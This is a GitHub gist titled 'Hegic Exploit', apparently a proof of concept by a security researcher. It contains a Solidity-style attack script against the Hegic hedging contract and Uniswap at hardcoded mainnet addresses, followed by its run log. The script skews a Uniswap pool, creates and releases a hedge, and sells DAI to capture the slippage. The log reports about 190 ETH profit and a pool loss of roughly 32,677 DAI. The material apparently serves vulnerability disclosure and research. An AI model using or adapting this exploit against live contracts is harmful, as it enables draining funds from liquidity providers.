Skip to content

Instantly share code, notes, and snippets.

@samczsun
Created March 25, 2020 02:35
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save samczsun/e3eb996d31b2c18a868a7b3118df2ecd to your computer and use it in GitHub Desktop.
Save samczsun/e3eb996d31b2c18a868a7b3118df2ecd to your computer and use it in GitHub Desktop.
Hegic Exploit
[#] running script "HegicExploit"
[#] current block is 9737878
[#] running "supply liquidity" as 0x9759A6Ac90977b93B58547b4A71c78317f391A28 with 0.000000000000000000 ether
[0x9759A6Ac90977b93B58547b4A71c78317f391A28] supplied dai=50000.000000000000000000 totalBalance=55443.310349799470538187
[#] finished running "supply liquidity"
[#] running "exploit" as 0x54BE6DF1104338E5EE8609e6C5976A948444BF92 with 100000.000000000000000000 ether
[0x54BE6DF1104338E5EE8609e6C5976A948444BF92] lockedAmount=4881.165471644000000000 totalBalance=55443.310349799470538187 availableBalance=39473.482808195576430549
[0x54BE6DF1104338E5EE8609e6C5976A948444BF92] currentPrice=138.45527900 ethAmount=285.099153266634033004
[0x54BE6DF1104338E5EE8609e6C5976A948444BF92] strike=39473.482808195576430464 premium=0.000009427882052468 fee=2.850991532666340330
[0x54BE6DF1104338E5EE8609e6C5976A948444BF92] hedgeId=51
[0x54BE6DF1104338E5EE8609e6C5976A948444BF92] startingEtherBalance=100000.000000000000000000 endingEtherBalance=100190.300439712604418490
[0x54BE6DF1104338E5EE8609e6C5976A948444BF92] profit=190.300439712604418490
[0x54BE6DF1104338E5EE8609e6C5976A948444BF92] startingPoolBalance=55443.310349799470538187 endingPoolBalance=22765.374206916430234617
[0x54BE6DF1104338E5EE8609e6C5976A948444BF92] loss=32677.936142883040303570
[#] finished running "exploit"
contract PriceProviderLike {
function currentAnswer() external view returns (uint);
}
contract HedgeLike {
function createHedge(uint period, uint amount) public payable returns (uint hedgeID);
function release(uint hedgeID) public payable;
function priceProvider() public view returns (PriceProviderLike);
function fees(uint period, uint amount) public view returns (uint strike, uint premium, uint fee);
}
contract PoolLike {
function provide(uint256) public;
function lockedAmount() public view returns (uint);
function totalBalance() public view returns (uint);
}
contract HegicExploit is script {
HedgeLike private constant HEDGE = HedgeLike(0x27b6125328ca57d5d96baAa4F9cA8C5EdBaFe016);
PoolLike private constant POOL = PoolLike(0x009c216b7e86E5c38AF14fcd8c07AaB3a2E7888E);
function setup() public {
}
function run() public {
run("supply liquidity", this.supplyLiquidity)
.withCaller(0x9759A6Ac90977b93B58547b4A71c78317f391A28);
run("exploit", this.exploit)
.withBalance(100000 ether);
}
// the amount of dai to supply to the pool, because this exploit only turns a profit at large volumes
uint private constant liquiditySupply = 50000 ether;
function supplyLiquidity() external {
// mint some dai (as DaiJoin) for simplicity and so we don't affect the uniswap pool
DAI.mint(address(this), liquiditySupply);
// supply it to the hegic pool
DAI.approve(address(POOL), liquiditySupply);
POOL.provide(liquiditySupply);
fmt.printf("supplied dai=%.18u totalBalance=%.18u\n", abi.encode(liquiditySupply, POOL.totalBalance()));
}
function exploit() external {
// calculate the maximum amount of dai the pool will allow us to lock
uint lockedAmount = POOL.lockedAmount();
uint totalBalance = POOL.totalBalance();
uint availableBalance = (totalBalance * 8 / 10 - lockedAmount);
fmt.printf("lockedAmount=%.18u totalBalance=%.18u availableBalance=%.18u\n", abi.encode(lockedAmount, totalBalance, availableBalance));
// calculate the maximum amount of eth
uint currentPrice = HEDGE.priceProvider().currentAnswer();
uint ethAmount = availableBalance * 1e8 / currentPrice;
fmt.printf("currentPrice=%.8u ethAmount=%.18u\n", abi.encode(currentPrice, ethAmount));
// determine the fees
(uint strike, uint premium, uint fee) = HEDGE.fees(1, ethAmount);
fmt.printf("strike=%.18u premium=%.18u fee=%.18u\n", abi.encode(strike, premium, fee));
// make a note of the starting balances
uint startingEtherBalance = address(this).balance;
uint startingPoolBalance = DAI.balanceOf(address(POOL));
// skew the uniswap pool - this causes the hedge contract to purchase dai at an extremely high rate
uniswap.buy(DAI, 1000000 ether);
// create the hedge
uint hedgeId = HEDGE.createHedge.value(premium + fee)(1, ethAmount);
fmt.printf("hedgeId=%u\n", abi.encode(hedgeId));
// release the hedge
HEDGE.release.value(ethAmount)(hedgeId);
// sell all of the dai, capturing the slippage incurred by the hedge contract
uniswap.sellAll(DAI);
// make a note of the ending balances
uint endingEtherBalance = address(this).balance;
uint endingPoolBalance = DAI.balanceOf(address(POOL));
// this is how much of a profit in eth we made
fmt.printf("startingEtherBalance=%.18u endingEtherBalance=%.18u\n", abi.encode(startingEtherBalance, endingEtherBalance));
fmt.printf("profit=%.18u\n", abi.encode(endingEtherBalance - startingEtherBalance));
// this is how much of a loss in dai the pool incurred
fmt.printf("startingPoolBalance=%.18u endingPoolBalance=%.18u\n", abi.encode(startingPoolBalance, endingPoolBalance));
fmt.printf("loss=%.18u\n", abi.encode(startingPoolBalance - endingPoolBalance));
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment